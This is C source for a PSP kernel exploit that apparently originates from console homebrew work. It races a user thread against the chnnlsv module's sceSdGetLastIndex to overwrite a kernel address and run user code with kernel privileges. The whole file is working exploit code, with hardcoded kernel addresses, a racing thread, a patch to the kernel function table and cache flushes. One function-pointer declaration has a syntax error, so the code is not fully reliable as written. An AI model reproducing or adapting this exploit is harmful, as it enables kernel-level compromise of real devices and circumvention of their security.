//ToCToU kexploit in chnnlsv
int is_exploited;
u32 address = 0x8800F71C;
int KernelFunction()
{
is_exploited = 1;
_sw(0x8C654384, address);
void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744;
void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98;
_sceKernelDcacheWritebackInvalidateAll();
_sceKernelIcacheInvalidateAll();
return 0;
}
void do_exploit()
{
is_exploited = 0;
u32 packet[256];
//taken from HBL
p5_open_savedata(PSP_UTILITY_SAVEDATA_AUTOLOAD);
//search for this function in volatile ram
int (* _sceSdGetLastIndex)(u32 a0, u32 a1, u32 a2) = (void *)FindImport("sceChnnlsv", 0xC4C494F8, 1);
//search for this function in main ram
int (* _sceKernelLibcTime(u32 a0, u32 a1) = (void *)FindImport("UtilsForUser", 0x27CC57F0, 0);
int store_thread()
{
while (is_exploited != 1) {
packet[9] = address - 18 - (u32)&packet;
sceKernelDelayThread(0);
}
sceKernelExitThread(0);
return 0;
}
SceUID storethread = sceKernelCreateThread("store thread", store_thread, 8, 512, THREAD_ATTR_USER, NULL);
sceKernelStartThread(storethread, 0, NULL);
while (is_exploited != 1) {
packet[9] = 16;
_sceSdGetLastIndex(packet, (u32)packet + 40, (u32)packet + 56);
sceKernelDelayThread(0);
_sceKernelLibcTime(0, (u32)&KernelFunction | (u32)0x80000000);
sceKernelDcacheWritebackAll();
}
//taken from HBL
p5_close_savedata();
sceKernelDeleteThread(storethread);
}
void _start __attribute__ ((section(".text.start")));
void _start()
{
do_exploit();
sceKernelExitGame();
}